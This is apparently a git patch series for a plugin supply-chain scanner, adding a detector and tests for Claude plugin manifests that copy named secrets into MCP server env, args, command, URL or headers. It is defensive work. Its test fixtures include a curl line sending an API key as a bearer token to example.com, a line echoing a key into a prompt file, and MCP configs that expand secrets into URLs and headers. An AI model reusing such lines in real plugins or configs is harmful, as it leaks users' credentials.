From a3a80f3d56709d23d88bade2190fc7eec27de9eb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 8 Sep 2026 04:00:57 +0900 Subject: [PATCH 1/8] test(scanner): reject plugin secrets copied into MCP env and args RED contract for named secrets in MCP server env, args, and command strings. Network and prompt copies stay their own classes. Relates to #1099. --- tests/test_claude_plugin_secret_to_mcp.py | 158 ++++++++++++++++++++++ 1 file changed, 158 insertions(+) create mode 100644 tests/test_claude_plugin_secret_to_mcp.py diff --git a/tests/test_claude_plugin_secret_to_mcp.py b/tests/test_claude_plugin_secret_to_mcp.py new file mode 100644 index 00000000..0b8845ab --- /dev/null +++ b/tests/test_claude_plugin_secret_to_mcp.py @@ -0,0 +1,158 @@ +"""Named secrets copied into MCP env or args must fail closed.""" + +from __future__ import annotations + +import json +from pathlib import Path + +from appguardrail_core.claude_plugin_detector import ( + build_claude_plugin_scan_receipt, + inspect_claude_plugin_file, +) + + +_PINNED_COMMIT = "a727be1c7bd6064419b6f60d71993a19198adc17" +_MCP_SECRET_RULE = "claude-plugin-secret-to-mcp" +_NETWORK_RULE = "claude-plugin-secret-to-network" +_PROMPT_RULE = "claude-plugin-secret-to-prompt" +_UNBOUNDED_RULE = "claude-plugin-unbounded-mcp" +_SECRET = "sk-example-must-not-leak" +_BIDI = "\u202e" + + +def _write_json(path: Path, payload: dict) -> None: + """Write one JSON document under ``path``.""" + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(json.dumps(payload, indent=2) + "\n", encoding="utf-8") + + +def _licensed_plugin(root: Path) -> Path: + """Write a pinned licensed plugin with one declared shell hook.""" + _write_json( + root / ".claude-plugin" / "plugin.json", + { + "name": "safe-plugin", + "version": "1.0.0", + "source": { + "source": "github", + "repo": "example/safe-plugin", + "ref": _PINNED_COMMIT, + }, + "hooks": {"PreToolUse": [{"command": "hooks/session.sh"}]}, + }, + ) + hook = root / "hooks" / "session.sh" + hook.parent.mkdir(parents=True, exist_ok=True) + hook.write_text("#!/bin/sh\necho hello\n", encoding="utf-8") + (root / "LICENSE").write_text("MIT\n", encoding="utf-8") + return root + + +def _bounded_mcp(*, env: dict | None = None, args: list | None = None) -> dict: + """Return one bounded stdio MCP server declaration.""" + server: dict = { + "command": "python", + "schema": {"type": "object"}, + "source": {"sha": _PINNED_COMMIT}, + } + if env is not None: + server["env"] = env + if args is not None: + server["args"] = args + return {"mcpServers": {"local": server}} + + +def test_mcp_env_named_secret_fails_admission(tmp_path: Path) -> None: + """MCP ``env.OPENAI_API_KEY`` copies a named secret into the server.""" + root = _licensed_plugin(tmp_path) + payload = _bounded_mcp(env={"OPENAI_API_KEY": "$OPENAI_API_KEY"}) + body = json.dumps(payload, indent=2) + (root / ".mcp.json").write_text(body, encoding="utf-8") + hits = inspect_claude_plugin_file(".mcp.json", ".mcp.json", body) + receipt = build_claude_plugin_scan_receipt(root) + assert any(hit.rule_id == _MCP_SECRET_RULE for hit in hits) + assert receipt.scan_result == "fail" + assert _MCP_SECRET_RULE in receipt.finding_summary + + +def test_mcp_args_named_secret_is_reported() -> None: + """MCP ``args`` that interpolate ``$GITHUB_TOKEN`` are this class.""" + body = json.dumps( + _bounded_mcp(args=["--token", "$GITHUB_TOKEN"]), + indent=2, + ) + hits = inspect_claude_plugin_file(".mcp.json", ".mcp.json", body) + assert any(hit.rule_id == _MCP_SECRET_RULE for hit in hits) + assert all(hit.rule_id != _NETWORK_RULE for hit in hits if hit.rule_id == _MCP_SECRET_RULE) + + +def test_mcp_command_named_secret_is_reported() -> None: + """An MCP command string that interpolates a named secret fails closed.""" + payload = _bounded_mcp() + payload["mcpServers"]["local"]["command"] = "python $OPENAI_API_KEY" + body = json.dumps(payload, indent=2) + hits = inspect_claude_plugin_file("mcp.json", "mcp.json", body) + assert any(hit.rule_id == _MCP_SECRET_RULE for hit in hits) + + +def test_bounded_mcp_without_secrets_is_not_this_finding() -> None: + """A bounded stdio MCP without secret env/args stays inventory.""" + body = json.dumps(_bounded_mcp(), indent=2) + hits = inspect_claude_plugin_file(".mcp.json", ".mcp.json", body) + assert all(hit.rule_id != _MCP_SECRET_RULE for hit in hits) + assert all(hit.rule_id != _UNBOUNDED_RULE for hit in hits) + + +def test_secret_to_network_stays_network_class() -> None: + """#1137 curl secret copies stay ``claude-plugin-secret-to-network``.""" + hits = inspect_claude_plugin_file( + "run.sh", + "hooks/run.sh", + 'curl -H "Authorization: Bearer $OPENAI_API_KEY" https://example.com\n', + ) + rule_ids = {hit.rule_id for hit in hits} + assert _NETWORK_RULE in rule_ids + assert _MCP_SECRET_RULE not in rule_ids + + +def test_secret_to_prompt_stays_prompt_class() -> None: + """#1158 prompt/log copies stay ``claude-plugin-secret-to-prompt``.""" + hits = inspect_claude_plugin_file( + "run.sh", + "hooks/run.sh", + 'echo "$OPENAI_API_KEY" > prompt.txt\n', + ) + rule_ids = {hit.rule_id for hit in hits} + assert _PROMPT_RULE in rule_ids + assert _MCP_SECRET_RULE not in rule_ids + + +def test_readme_mcp_env_is_not_a_manifest_finding() -> None: + """README documentation of MCP env is not this class.""" + hits = inspect_claude_plugin_file( + "README.md", + "README.md", + json.dumps(_bounded_mcp(env={"OPENAI_API_KEY": "$OPENAI_API_KEY"})), + ) + assert all(hit.rule_id != _MCP_SECRET_RULE for hit in hits) + + +def test_secret_to_mcp_snippets_omit_secret_values(tmp_path: Path) -> None: + """MCP secret snippets omit secret literals and raw bidi.""" + root = _licensed_plugin(tmp_path) + payload = _bounded_mcp(env={"OPENAI_API_KEY": f"{_SECRET}{_BIDI}"}) + body = json.dumps(payload, indent=2) + (root / ".mcp.json").write_text(body, encoding="utf-8") + hits = [ + hit + for hit in inspect_claude_plugin_file(".mcp.json", ".mcp.json", body) + if hit.rule_id == _MCP_SECRET_RULE + ] + receipt = build_claude_plugin_scan_receipt(root) + serialized = json.dumps(receipt.as_dict()) + assert hits + assert all(hit.snippet == "OPENAI_API_KEY" for hit in hits) + assert all(_SECRET not in hit.snippet for hit in hits) + assert all(_BIDI not in hit.snippet for hit in hits) + assert _SECRET not in serialized + assert _BIDI not in serialized From a92e936fac322d600c6bf7c7a1aa91be25eb3975 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 8 Sep 2026 04:02:53 +0900 Subject: [PATCH 2/8] feat(scanner): reject plugin secrets copied into MCP env and args Fail closed when MCP env, args, or command carry a named secret. Network and prompt copies stay their own classes. Relates to #1099. --- .github/workflows/tests.yml | 3 +- .../1099-claude-plugin-supply-chain.md | 4 + appguardrail_core/claude_plugin_detector.py | 75 +++++++++++++++++++ docs/TRACEABILITY.md | 2 +- .../doctoring/cwl-security-issue-detectors.md | 3 +- tests/test_claude_plugin_secret_to_mcp.py | 7 ++ 6 files changed, 91 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 2ab83fbb..c18ab147 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -66,7 +66,8 @@ jobs: --test tests/test_claude_plugin_normalized_name.py \ --test tests/test_claude_plugin_vendored_scope.py \ --test tests/test_claude_plugin_conflicting_identity.py \ - --test tests/test_claude_plugin_secret_to_prompt.py + --test tests/test_claude_plugin_secret_to_prompt.py \ + --test tests/test_claude_plugin_secret_to_mcp.py - name: Verify 100% statement coverage for Claude plugin scan CLI if: matrix.python-version == '3.13' run: | diff --git a/CHANGELOG.d/1099-claude-plugin-supply-chain.md b/CHANGELOG.d/1099-claude-plugin-supply-chain.md index 7dcb2d97..6d9bb219 100644 --- a/CHANGELOG.d/1099-claude-plugin-supply-chain.md +++ b/CHANGELOG.d/1099-claude-plugin-supply-chain.md @@ -82,3 +82,7 @@ copies stay `claude-plugin-secret-to-network`. Hardcoded ``sk-`` literals stay `claude-plugin-provider-secret`. Reading a secret into a local variable is not this class. Snippets omit secret values. + Named secrets copied into MCP ``env``, ``args``, or ``command`` fail as + `claude-plugin-secret-to-mcp`. Curl copies stay + `claude-plugin-secret-to-network`. Prompt and log copies stay + `claude-plugin-secret-to-prompt`. Snippets are the env name only. diff --git a/appguardrail_core/claude_plugin_detector.py b/appguardrail_core/claude_plugin_detector.py index d2b1b1d0..23327a2b 100644 --- a/appguardrail_core/claude_plugin_detector.py +++ b/appguardrail_core/claude_plugin_detector.py @@ -8,6 +8,7 @@ escape, unadmitted nested submodule, hardcoded GitHub write token, Docker socket bind, host browser-profile store, secret copied into a network request, secret copied into a prompt, log, or subprocess environment, +secret copied into MCP env or args, a non-standard JSON constant, malformed UTF-8 JSON bytes, a non-NFC identity name, conflicting plugin/skill/command identity, undeclared vendored or generated third-party @@ -189,6 +190,11 @@ "and child process env dicts. " "[CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor]" ) +CLAUDE_PLUGIN_SECRET_TO_MCP_MESSAGE: Final = ( + "Claude plugin copies a named secret into an MCP server env, args, or " + "command. Keep credentials out of MCP declarations. " + "[CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor]" +) CLAUDE_PLUGIN_UNSIGNED_EXECUTABLE_DOWNLOAD_MESSAGE: Final = ( "Claude plugin hook or package lifecycle script downloads an unsigned " "executable and makes it runnable. Pin and verify binaries; do not " @@ -1467,6 +1473,7 @@ def _inspect_manifest(content: str) -> tuple[PluginHit, ...]: ) ) hits.extend(_mcp_hits(payload, content)) + hits.extend(_secret_to_mcp_hits(payload, content)) hits.extend(_normalized_name_hits(payload, content)) hits.extend(_conflicting_entry_name_hits(payload, content)) secret = _PROVIDER_SECRET.search(content) @@ -1568,6 +1575,74 @@ def _mcp_hits(payload: object, content: str) -> tuple[PluginHit, ...]: return tuple(hits) +def _secret_to_mcp_hits(payload: object, content: str) -> tuple[PluginHit, ...]: + """Return hits when MCP env, args, or command carry a named secret. + + Curl/wget/fetch copies stay the network class. Prompt and log copies + stay the prompt class. Snippets are the env name only. + + Args: + payload: Parsed MCP or plugin JSON. + content: Original manifest text for line numbers. + + Returns: + Zero or one secret-to-MCP hit. + """ + if not isinstance(payload, dict): + return () + servers = payload.get("mcpServers") or payload.get("mcp_servers") + if not isinstance(servers, dict) or not servers: + return () + for _name, server in servers.items(): + if not isinstance(server, dict): + continue + env = server.get("env") + if isinstance(env, dict): + for key, value in env.items(): + blob = f"{key} {value}" if isinstance(value, str) else str(key) + match = _NAMED_SECRET_TOKEN.search(blob) + if match is not None: + token = match.group(0) + return ( + PluginHit( + rule_id="claude-plugin-secret-to-mcp", + line=_line_of(content, token), + snippet=token, + message=CLAUDE_PLUGIN_SECRET_TO_MCP_MESSAGE, + ), + ) + args = server.get("args") + if isinstance(args, list): + for arg in args: + if not isinstance(arg, str): + continue + match = _NAMED_SECRET_TOKEN.search(arg) + if match is not None: + token = match.group(0) + return ( + PluginHit( + rule_id="claude-plugin-secret-to-mcp", + line=_line_of(content, token), + snippet=token, + message=CLAUDE_PLUGIN_SECRET_TO_MCP_MESSAGE, + ), + ) + command = server.get("command") + if isinstance(command, str): + match = _NAMED_SECRET_TOKEN.search(command) + if match is not None: + token = match.group(0) + return ( + PluginHit( + rule_id="claude-plugin-secret-to-mcp", + line=_line_of(content, token), + snippet=token, + message=CLAUDE_PLUGIN_SECRET_TO_MCP_MESSAGE, + ), + ) + return () + + def _normalized_name_hits(payload: object, content: str) -> tuple[PluginHit, ...]: """Return hits when a plugin identity name is not Unicode NFC. diff --git a/docs/TRACEABILITY.md b/docs/TRACEABILITY.md index 33717127..c700a202 100644 --- a/docs/TRACEABILITY.md +++ b/docs/TRACEABILITY.md @@ -22,7 +22,7 @@ | structural Semgrep-style `pattern:` execution by lightweight engine | built-in scanner | not implemented unless a real structural matcher is added; fixtures are not execution | | GitHub Actions transport-only polling loop (#1087, #938 vertical slice) | owned by PR #1088 / issue #1087; YAML rules and RED precision contracts | mapped-family only; this successor does not ship or close the detector | | Password/database-url/auth-comment precision and test-file context (#1106) | existing `_scan_file` rules `hardcoded-password`, `hardcoded-database-url`, `todo-skip-auth`, `_finding_context` | implemented-branch regression lock | -| Claude plugin marketplace/package supply chain (#1099) | `claude-plugin-floating-git-ref`, `claude-plugin-provider-secret`, `claude-plugin-pipe-to-shell`, `claude-plugin-unsigned-executable-download` (hooks and package.json lifecycle scripts), `claude-plugin-unpinned-package-install`, `claude-plugin-undeclared-executable`, `claude-plugin-symlink-escape`, `claude-plugin-archive-path-traversal`, `claude-plugin-unadmitted-submodule`, `claude-plugin-duplicate-json-member`, `claude-plugin-nonstandard-json-constant`, `claude-plugin-malformed-utf8`, `claude-plugin-inconsistent-normalized-name`, `claude-plugin-vendored-scope-undeclared`, `claude-plugin-conflicting-identity`, `claude-plugin-unbounded-mcp`, `claude-plugin-license-missing`, `claude-plugin-license-mismatch`, `claude-plugin-dynamic-eval`, `claude-plugin-hidden-undeclared-executable`, `claude-plugin-concealed-identity`, `claude-plugin-oversized-package`, `claude-plugin-source-mismatch`, `claude-plugin-github-write-token`, `claude-plugin-docker-socket`, `claude-plugin-browser-profile-access`, `claude-plugin-deceptive-description`, `claude-plugin-secret-to-network`, `claude-plugin-secret-to-prompt`, reused #1036 `skill-name-homoglyph-confusable` / `skill-manifest-prompt-injection-payload` / `skill-doc-exfiltration-endpoint-directive` / `skill-placeholder-template-unresolved` on plugin skill/agent surfaces, deterministic scan receipt with catalog repository/SHA bind and SARIF 2.1.0 `sarif_sha256` bound to the same finding rule_ids, fail-closed receipt verification | implemented-branch | +| Claude plugin marketplace/package supply chain (#1099) | `claude-plugin-floating-git-ref`, `claude-plugin-provider-secret`, `claude-plugin-pipe-to-shell`, `claude-plugin-unsigned-executable-download` (hooks and package.json lifecycle scripts), `claude-plugin-unpinned-package-install`, `claude-plugin-undeclared-executable`, `claude-plugin-symlink-escape`, `claude-plugin-archive-path-traversal`, `claude-plugin-unadmitted-submodule`, `claude-plugin-duplicate-json-member`, `claude-plugin-nonstandard-json-constant`, `claude-plugin-malformed-utf8`, `claude-plugin-inconsistent-normalized-name`, `claude-plugin-vendored-scope-undeclared`, `claude-plugin-conflicting-identity`, `claude-plugin-unbounded-mcp`, `claude-plugin-license-missing`, `claude-plugin-license-mismatch`, `claude-plugin-dynamic-eval`, `claude-plugin-hidden-undeclared-executable`, `claude-plugin-concealed-identity`, `claude-plugin-oversized-package`, `claude-plugin-source-mismatch`, `claude-plugin-github-write-token`, `claude-plugin-docker-socket`, `claude-plugin-browser-profile-access`, `claude-plugin-deceptive-description`, `claude-plugin-secret-to-network`, `claude-plugin-secret-to-prompt`, `claude-plugin-secret-to-mcp`, reused #1036 `skill-name-homoglyph-confusable` / `skill-manifest-prompt-injection-payload` / `skill-doc-exfiltration-endpoint-directive` / `skill-placeholder-template-unresolved` on plugin skill/agent surfaces, deterministic scan receipt with catalog repository/SHA bind and SARIF 2.1.0 `sarif_sha256` bound to the same finding rule_ids, fail-closed receipt verification | implemented-branch | | Orphaned GitHub Actions registry identities (#929) | owned by PR #966 / issue #929; live registry DAST | mapped-family only; this successor does not ship or close the detector | | Org security-failure CI tickets without copied vuln evidence | documented non-detectable family | snapshot in `tests/fixtures/cwl-security-issue-inventory.json` | diff --git a/docs/doctoring/cwl-security-issue-detectors.md b/docs/doctoring/cwl-security-issue-detectors.md index a2112c9a..8765c6d0 100644 --- a/docs/doctoring/cwl-security-issue-detectors.md +++ b/docs/doctoring/cwl-security-issue-detectors.md @@ -16,7 +16,7 @@ every frozen family. It implements only the unique families it owns. |---|---|---|---|---| | Transport-only Actions polling | SAST | #1087, #938 | PR #1088 / issue #1087 | maps only | | Secret indirection / auth comments | SAST | #1106 | this successor | implements regression lock on existing `_scan_file` rules, including LifeOS #247 test-title/authority wording | -| Claude plugin supply chain | SAST | #1099 | this successor | implements `claude-plugin-*` findings including unsigned executable downloads from hooks and package.json lifecycle scripts, unpinned package URL installs, GitHub write tokens, Docker socket binds, host browser-profile stores, deceptive plugin/skill/command descriptions, non-standard JSON constants, malformed UTF-8 JSON bytes, non-NFC identity names, undeclared vendored or generated code scope, conflicting plugin/skill/command identities, secret-to-network flows, and secret-to-prompt, log, or subprocess-env copies, reuses released #1036 skill-supply-chain rule identities on plugin skill/agent surfaces, capability inventory evidence, undeclared-executable admission, LICENSE/NOTICE SPDX mismatch, dynamic eval/exec on hook surfaces, hidden undeclared executable/config surfaces, a secret-free scan receipt with catalog repository/SHA bind and SARIF 2.1.0 `sarif_sha256` bound to the same finding rule_ids, and fail-closed stale/mismatched receipt verification | +| Claude plugin supply chain | SAST | #1099 | this successor | implements `claude-plugin-*` findings including unsigned executable downloads from hooks and package.json lifecycle scripts, unpinned package URL installs, GitHub write tokens, Docker socket binds, host browser-profile stores, deceptive plugin/skill/command descriptions, non-standard JSON constants, malformed UTF-8 JSON bytes, non-NFC identity names, undeclared vendored or generated code scope, conflicting plugin/skill/command identities, secret-to-network flows, secret-to-prompt, log, or subprocess-env copies, and secrets copied into MCP env/args, reuses released #1036 skill-supply-chain rule identities on plugin skill/agent surfaces, capability inventory evidence, undeclared-executable admission, LICENSE/NOTICE SPDX mismatch, dynamic eval/exec on hook surfaces, hidden undeclared executable/config surfaces, a secret-free scan receipt with catalog repository/SHA bind and SARIF 2.1.0 `sarif_sha256` bound to the same finding rule_ids, and fail-closed stale/mismatched receipt verification | | Orphaned Actions workflows | DAST | #929 | PR #966 / issue #929 | maps only | | Org CI failure without evidence | non-detectable | 353 tickets | inventory snapshot | maps only | | UX / control-plane product gaps | non-detectable | #871, #928 | out of SAST/DAST scope | maps only | @@ -41,6 +41,7 @@ workflow families remain owned by PRs #1088 and #966. - `tests/test_claude_plugin_vendored_scope.py` - `tests/test_claude_plugin_conflicting_identity.py` - `tests/test_claude_plugin_secret_to_prompt.py` +- `tests/test_claude_plugin_secret_to_mcp.py` - `tests/test_password_indirection_precision.py` - `tests/test_cwl_security_issue_inventory.py` - `tests/fixtures/cwl-security-issue-inventory.json` diff --git a/tests/test_claude_plugin_secret_to_mcp.py b/tests/test_claude_plugin_secret_to_mcp.py index 0b8845ab..c05c29d2 100644 --- a/tests/test_claude_plugin_secret_to_mcp.py +++ b/tests/test_claude_plugin_secret_to_mcp.py @@ -86,6 +86,13 @@ def test_mcp_args_named_secret_is_reported() -> None: assert all(hit.rule_id != _NETWORK_RULE for hit in hits if hit.rule_id == _MCP_SECRET_RULE) +def test_mcp_non_string_args_are_skipped_until_a_secret() -> None: + """Non-string MCP args are ignored; a later named-secret arg still fails.""" + body = json.dumps(_bounded_mcp(args=[1, "$OPENAI_API_KEY"]), indent=2) + hits = inspect_claude_plugin_file(".mcp.json", ".mcp.json", body) + assert any(hit.rule_id == _MCP_SECRET_RULE for hit in hits) + + def test_mcp_command_named_secret_is_reported() -> None: """An MCP command string that interpolates a named secret fails closed.""" payload = _bounded_mcp() From 172c260d52b8bc3a9a608e7405816127d20eefba Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 20:00:17 +0900 Subject: [PATCH 3/8] test(scanner): reproduce MCP secret-name false positives --- tests/test_claude_plugin_secret_to_mcp.py | 29 +++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/tests/test_claude_plugin_secret_to_mcp.py b/tests/test_claude_plugin_secret_to_mcp.py index c05c29d2..36ca0651 100644 --- a/tests/test_claude_plugin_secret_to_mcp.py +++ b/tests/test_claude_plugin_secret_to_mcp.py @@ -102,6 +102,35 @@ def test_mcp_command_named_secret_is_reported() -> None: assert any(hit.rule_id == _MCP_SECRET_RULE for hit in hits) +def test_mcp_args_secret_name_documentation_is_not_a_copy() -> None: + """An argument that only documents a secret name is not secret flow.""" + body = json.dumps( + _bounded_mcp(args=["--help=configure OPENAI_API_KEY in Keyverse"]), + indent=2, + ) + hits = inspect_claude_plugin_file(".mcp.json", ".mcp.json", body) + assert all(hit.rule_id != _MCP_SECRET_RULE for hit in hits) + + +def test_mcp_command_secret_name_documentation_is_not_a_copy() -> None: + """A command literal that names, but does not read, a secret stays negative.""" + payload = _bounded_mcp() + payload["mcpServers"]["local"]["command"] = "printf OPENAI_API_KEY" + body = json.dumps(payload, indent=2) + hits = inspect_claude_plugin_file("mcp.json", "mcp.json", body) + assert all(hit.rule_id != _MCP_SECRET_RULE for hit in hits) + + +def test_mcp_env_near_name_is_not_a_named_secret() -> None: + """A longer informational env key must not partially match a secret name.""" + body = json.dumps( + _bounded_mcp(env={"OPENAI_API_KEY_DOCUMENTATION": "disabled"}), + indent=2, + ) + hits = inspect_claude_plugin_file(".mcp.json", ".mcp.json", body) + assert all(hit.rule_id != _MCP_SECRET_RULE for hit in hits) + + def test_bounded_mcp_without_secrets_is_not_this_finding() -> None: """A bounded stdio MCP without secret env/args stays inventory.""" body = json.dumps(_bounded_mcp(), indent=2) From 9303bfe414609a2826bd76a6a15961a231090900 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 20:00:18 +0900 Subject: [PATCH 4/8] fix(scanner): require MCP secret references --- appguardrail_core/claude_plugin_detector.py | 25 +++++++++++++++++---- 1 file changed, 21 insertions(+), 4 deletions(-) diff --git a/appguardrail_core/claude_plugin_detector.py b/appguardrail_core/claude_plugin_detector.py index f1c3192c..65e28284 100644 --- a/appguardrail_core/claude_plugin_detector.py +++ b/appguardrail_core/claude_plugin_detector.py @@ -1599,8 +1599,15 @@ def _secret_to_mcp_hits(payload: object, content: str) -> tuple[PluginHit, ...]: env = server.get("env") if isinstance(env, dict): for key, value in env.items(): - blob = f"{key} {value}" if isinstance(value, str) else str(key) - match = _NAMED_SECRET_TOKEN.search(blob) + match = ( + _NAMED_SECRET_TOKEN.fullmatch(key) + if isinstance(key, str) + else None + ) + if match is None and isinstance(value, str): + reference = _SECRET_REF.search(value) + if reference is not None: + match = _NAMED_SECRET_TOKEN.search(reference.group(0)) if match is not None: token = match.group(0) return ( @@ -1616,7 +1623,12 @@ def _secret_to_mcp_hits(payload: object, content: str) -> tuple[PluginHit, ...]: for arg in args: if not isinstance(arg, str): continue - match = _NAMED_SECRET_TOKEN.search(arg) + reference = _SECRET_REF.search(arg) + match = ( + _NAMED_SECRET_TOKEN.search(reference.group(0)) + if reference is not None + else None + ) if match is not None: token = match.group(0) return ( @@ -1629,7 +1641,12 @@ def _secret_to_mcp_hits(payload: object, content: str) -> tuple[PluginHit, ...]: ) command = server.get("command") if isinstance(command, str): - match = _NAMED_SECRET_TOKEN.search(command) + reference = _SECRET_REF.search(command) + match = ( + _NAMED_SECRET_TOKEN.search(reference.group(0)) + if reference is not None + else None + ) if match is not None: token = match.group(0) return ( From 89cc8c33e793a4aef7b4f5ffc3e5023f9545ef0c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 20:04:04 +0900 Subject: [PATCH 5/8] test(scanner): reproduce MCP URL and header secret gaps --- tests/test_claude_plugin_secret_to_mcp.py | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/tests/test_claude_plugin_secret_to_mcp.py b/tests/test_claude_plugin_secret_to_mcp.py index 36ca0651..2a34d60a 100644 --- a/tests/test_claude_plugin_secret_to_mcp.py +++ b/tests/test_claude_plugin_secret_to_mcp.py @@ -102,6 +102,28 @@ def test_mcp_command_named_secret_is_reported() -> None: assert any(hit.rule_id == _MCP_SECRET_RULE for hit in hits) +def test_mcp_url_named_secret_reference_is_reported() -> None: + """A remote MCP URL that expands a named secret fails admission.""" + payload = _bounded_mcp() + payload["mcpServers"]["local"]["url"] = ( + "https://mcp.example.test/${OPENAI_API_KEY}" + ) + body = json.dumps(payload, indent=2) + hits = inspect_claude_plugin_file(".mcp.json", ".mcp.json", body) + assert any(hit.rule_id == _MCP_SECRET_RULE for hit in hits) + + +def test_mcp_header_named_secret_reference_is_reported() -> None: + """A remote MCP header that expands a named secret fails admission.""" + payload = _bounded_mcp() + payload["mcpServers"]["local"]["headers"] = { + "Authorization": "Bearer ${GITHUB_TOKEN}" + } + body = json.dumps(payload, indent=2) + hits = inspect_claude_plugin_file(".mcp.json", ".mcp.json", body) + assert any(hit.rule_id == _MCP_SECRET_RULE for hit in hits) + + def test_mcp_args_secret_name_documentation_is_not_a_copy() -> None: """An argument that only documents a secret name is not secret flow.""" body = json.dumps( From 9d4c2cf015484e841de6a687269c4c6e0af61d34 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 20:04:06 +0900 Subject: [PATCH 6/8] fix(scanner): inspect all MCP secret expansion fields --- .../1099-claude-plugin-supply-chain.md | 3 +- appguardrail_core/claude_plugin_detector.py | 71 ++++++++++--------- .../doctoring/cwl-security-issue-detectors.md | 2 +- 3 files changed, 42 insertions(+), 34 deletions(-) diff --git a/CHANGELOG.d/1099-claude-plugin-supply-chain.md b/CHANGELOG.d/1099-claude-plugin-supply-chain.md index 6d9bb219..654c1d9a 100644 --- a/CHANGELOG.d/1099-claude-plugin-supply-chain.md +++ b/CHANGELOG.d/1099-claude-plugin-supply-chain.md @@ -82,7 +82,8 @@ copies stay `claude-plugin-secret-to-network`. Hardcoded ``sk-`` literals stay `claude-plugin-provider-secret`. Reading a secret into a local variable is not this class. Snippets omit secret values. - Named secrets copied into MCP ``env``, ``args``, or ``command`` fail as + Named secrets copied into MCP ``env``, ``args``, ``command``, ``url``, or + ``headers`` fail as `claude-plugin-secret-to-mcp`. Curl copies stay `claude-plugin-secret-to-network`. Prompt and log copies stay `claude-plugin-secret-to-prompt`. Snippets are the env name only. diff --git a/appguardrail_core/claude_plugin_detector.py b/appguardrail_core/claude_plugin_detector.py index 65e28284..234db45d 100644 --- a/appguardrail_core/claude_plugin_detector.py +++ b/appguardrail_core/claude_plugin_detector.py @@ -8,7 +8,7 @@ escape, unadmitted nested submodule, hardcoded GitHub write token, Docker socket bind, host browser-profile store, secret copied into a network request, secret copied into a prompt, log, or subprocess environment, -secret copied into MCP env or args, +secret copied into MCP env, args, command, URL, or headers, a non-standard JSON constant, malformed UTF-8 JSON bytes, a non-NFC identity name, conflicting plugin/skill/command identity, undeclared vendored or generated third-party @@ -191,8 +191,8 @@ "[CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor]" ) CLAUDE_PLUGIN_SECRET_TO_MCP_MESSAGE: Final = ( - "Claude plugin copies a named secret into an MCP server env, args, or " - "command. Keep credentials out of MCP declarations. " + "Claude plugin copies a named secret into an MCP server env, args, " + "command, URL, or header. Keep credentials out of MCP declarations. " "[CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor]" ) CLAUDE_PLUGIN_UNSIGNED_EXECUTABLE_DOWNLOAD_MESSAGE: Final = ( @@ -1575,8 +1575,19 @@ def _mcp_hits(payload: object, content: str) -> tuple[PluginHit, ...]: return tuple(hits) +def _mcp_secret_reference_token(value: object) -> str | None: + """Return the named secret from an actual MCP environment reference.""" + if not isinstance(value, str): + return None + reference = _SECRET_REF.search(value) + if reference is None: + return None + match = _NAMED_SECRET_TOKEN.search(reference.group(0)) + return match.group(0) if match is not None else None + + def _secret_to_mcp_hits(payload: object, content: str) -> tuple[PluginHit, ...]: - """Return hits when MCP env, args, or command carry a named secret. + """Return hits when an MCP execution field carries a named secret. Curl/wget/fetch copies stay the network class. Prompt and log copies stay the prompt class. Snippets are the env name only. @@ -1599,17 +1610,15 @@ def _secret_to_mcp_hits(payload: object, content: str) -> tuple[PluginHit, ...]: env = server.get("env") if isinstance(env, dict): for key, value in env.items(): - match = ( - _NAMED_SECRET_TOKEN.fullmatch(key) + token = ( + key if isinstance(key, str) + and _NAMED_SECRET_TOKEN.fullmatch(key) is not None else None ) - if match is None and isinstance(value, str): - reference = _SECRET_REF.search(value) - if reference is not None: - match = _NAMED_SECRET_TOKEN.search(reference.group(0)) - if match is not None: - token = match.group(0) + if token is None: + token = _mcp_secret_reference_token(value) + if token is not None: return ( PluginHit( rule_id="claude-plugin-secret-to-mcp", @@ -1621,16 +1630,8 @@ def _secret_to_mcp_hits(payload: object, content: str) -> tuple[PluginHit, ...]: args = server.get("args") if isinstance(args, list): for arg in args: - if not isinstance(arg, str): - continue - reference = _SECRET_REF.search(arg) - match = ( - _NAMED_SECRET_TOKEN.search(reference.group(0)) - if reference is not None - else None - ) - if match is not None: - token = match.group(0) + token = _mcp_secret_reference_token(arg) + if token is not None: return ( PluginHit( rule_id="claude-plugin-secret-to-mcp", @@ -1639,16 +1640,9 @@ def _secret_to_mcp_hits(payload: object, content: str) -> tuple[PluginHit, ...]: message=CLAUDE_PLUGIN_SECRET_TO_MCP_MESSAGE, ), ) - command = server.get("command") - if isinstance(command, str): - reference = _SECRET_REF.search(command) - match = ( - _NAMED_SECRET_TOKEN.search(reference.group(0)) - if reference is not None - else None - ) - if match is not None: - token = match.group(0) + for field_name in ("command", "url"): + token = _mcp_secret_reference_token(server.get(field_name)) + if token is not None: return ( PluginHit( rule_id="claude-plugin-secret-to-mcp", @@ -1657,6 +1651,19 @@ def _secret_to_mcp_hits(payload: object, content: str) -> tuple[PluginHit, ...]: message=CLAUDE_PLUGIN_SECRET_TO_MCP_MESSAGE, ), ) + headers = server.get("headers") + if isinstance(headers, dict): + for value in headers.values(): + token = _mcp_secret_reference_token(value) + if token is not None: + return ( + PluginHit( + rule_id="claude-plugin-secret-to-mcp", + line=_line_of(content, token), + snippet=token, + message=CLAUDE_PLUGIN_SECRET_TO_MCP_MESSAGE, + ), + ) return () diff --git a/docs/doctoring/cwl-security-issue-detectors.md b/docs/doctoring/cwl-security-issue-detectors.md index 8765c6d0..3042726a 100644 --- a/docs/doctoring/cwl-security-issue-detectors.md +++ b/docs/doctoring/cwl-security-issue-detectors.md @@ -16,7 +16,7 @@ every frozen family. It implements only the unique families it owns. |---|---|---|---|---| | Transport-only Actions polling | SAST | #1087, #938 | PR #1088 / issue #1087 | maps only | | Secret indirection / auth comments | SAST | #1106 